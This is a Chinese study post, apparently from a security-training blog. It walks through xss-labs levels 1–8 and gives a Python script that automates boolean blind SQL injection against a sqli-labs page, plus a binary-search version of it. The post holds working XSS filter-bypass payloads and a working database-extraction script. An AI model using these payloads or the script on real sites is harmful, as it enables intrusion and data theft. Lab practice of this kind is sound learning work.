当前位置: 首页 > news >正文

网络安全基础操作2

今日要求:
1.xss-labs 1-8关

2.python实现自动化布尔盲注的代码进行优化(二分查找)

开始过关:


1.xss-labs 1-8关

(1)

发现url中的name=test,于是右键检查查看test在哪里,即可得到如下:

接着给url里面输入:

(2)

还是先尝试一下<script>alert(123)</scrpipt>发现没有成功,于是检查发现

我们看到我们的内容在value里,我们选择把value的  ”  给闭合掉,并通过>把前面的<给闭合掉,并用//把后面的>注释即可

(3)

先随便输入数据进去,并查看它把我们输入的数据放到了哪里

接着我们依旧尝试使用双引号(”)闭合value,发现双引号全部被实体化,于是我们改尝试单引号(‘),发现可以闭合,最后我们选择单引号

输入以上即可过关

(4)

还是和上面一样,检查输入的数据在哪里,发现

于是我们还是先尝试双引号,发现双引号可以闭合,于是直接使用即可通关

(5)

还是引用刚才的办法却发现onfocus被分解为o_nfocus

于是我们选择用a链接,即:"><a href="javascript:alert(123)">aaa</a>

接着点击aaa即可

(6)

 还是引用刚才的办法却发现onfocus被分解为o_nfocus

接着我们尝试"><a href="javascript:alert(123)">aaa</a>,发现href也被分解了

由于Html不分大小写,于是我们把href中的某些字母大写

"><a Href="javascript:alert(123)">aaa</a>

这样即可正常通过

(7)

我们还是按照之前的每一个方法试一下,发现上一个方法不能使用

我们发现javascript中的script被删除了,并且href不见了,这就是典型的删除,我们选择双写即可

​​"><a hhrefref="javascscriptript:alert(123)">aaa</a>

(8)

通关方法就是要让“友情链接跳转”,我们选择javascript:alert(123)发现

这里通过工具把javascript转化为十六进制即可&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;

2.python实现自动化布尔盲注的代码进行优化(二分查找)

这是优化前的代码:

# 优化前
import requests# 目标URL
url = "http://192.168.1.10/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0# 推断数据库名def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正确字符后跳出内层循环return db_name

这是优化后的代码:

import requests# 目标URL
url = "http://192.168.1.10/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 二分查找数据库名长度
def get_database_length():low = 1high = 50  # 初始上限while low <= high:mid = (low + high) // 2# 检查长度是否等于midpayload = f"1' AND (SELECT length(database()) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return mid# 检查长度是否大于midpayload = f"1' AND (SELECT length(database()) > {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:low = mid + 1else:high = mid - 1return 0# 二分查找数据库名的单个字符
def binary_search_char(pos):low = 0high = len(charset) - 1while low <= high:mid = (low + high) // 2current_char = charset[mid]# 检查字符是否等于current_charpayload = f"1' AND (SELECT substring(database(), {pos}, 1) = '{current_char}') -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return current_char# 检查字符是否大于current_charpayload = f"1' AND (SELECT substring(database(), {pos}, 1) > '{current_char}') -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:low = mid + 1else:high = mid - 1return ''  # 未找到匹配字符# 推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):char = binary_search_char(i)db_name += charprint(f"\rProgress: [{db_name.ljust(length)}]", end="")print()return db_name# 主函数
if __name__ == "__main__":print("Detecting database length...")length = get_database_length()if length > 0:print(f"Database length: {length}")print("Extracting database name...")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

相比于之前的代码,现在的代码更能够缩短查找时间

http://www.dtcms.com/a/283902.html

相关文章:

  • 第十四章 gin基础
  • Spring Boot 中 META-INF 的作用与功能详解
  • 荷塘水上闯关游戏:Python OpenGL 3D游戏开发实战详解
  • 简单实现一个接口限流
  • 逆向破解京东评论加密参数|Python动态Cookie解决方案
  • 基于 Electron + Vue 3 的桌面小说写作软件架构设计
  • 共用体(联合体)
  • React Native 基础tabBar和自定义tabBar - bottom-tabs
  • Python编程进阶知识之第二课学习网络爬虫(requests)
  • 【真·CPU训模型!】单颗i7家用本,4天0成本跑通中文小模型训练!Xiaothink-T6-mini-Preview 技术预览版开源发布!
  • 对话弋途科技:当AI重构汽车大脑,一场车载操作系统的“觉醒年代“开始了
  • 【理想汽车智驾方案介绍专题 -1】端到端+VLM 方案介绍
  • 113:路径总和 II
  • Go语言时间控制:定时器技术详细指南
  • uni-app 配置华为离线推送流程
  • Go语言高并发聊天室(三):性能优化与压力测试
  • 【物联网】基于树莓派的物联网开发【11】——树莓派无法启动修复解决方案
  • Transformer从入门到精通
  • Spring Boot整合阿里云OSS企业级实践:高可用文件存储解决方案
  • 【Docker基础】Docker-compose基础认知:从核心概念到实战解析
  • 闽南话里的俗语(俚语、谚语、歇后语)
  • S7-1200 模拟量模块全解析:从接线到量程计算
  • 苍穹外卖项目日记(day11)
  • Linux内核ICMP协议实现深度解析:网络控制的智慧引擎
  • 《C++初阶之STL》【auto关键字 + 范围for循环 + 迭代器】
  • 基于typescript严格模式以实现undo和redo功能为目标的命令模式代码参考
  • Python-TCP编程-UDP编程-SocketServer-IO各种概念及多路复用-asyncio-学习笔记
  • 从0开始学习R语言--Day49--Lasso-Cox 回归
  • 在UniApp中防止页面上下拖动的方法
  • git@github.com: Permission denied (publickey).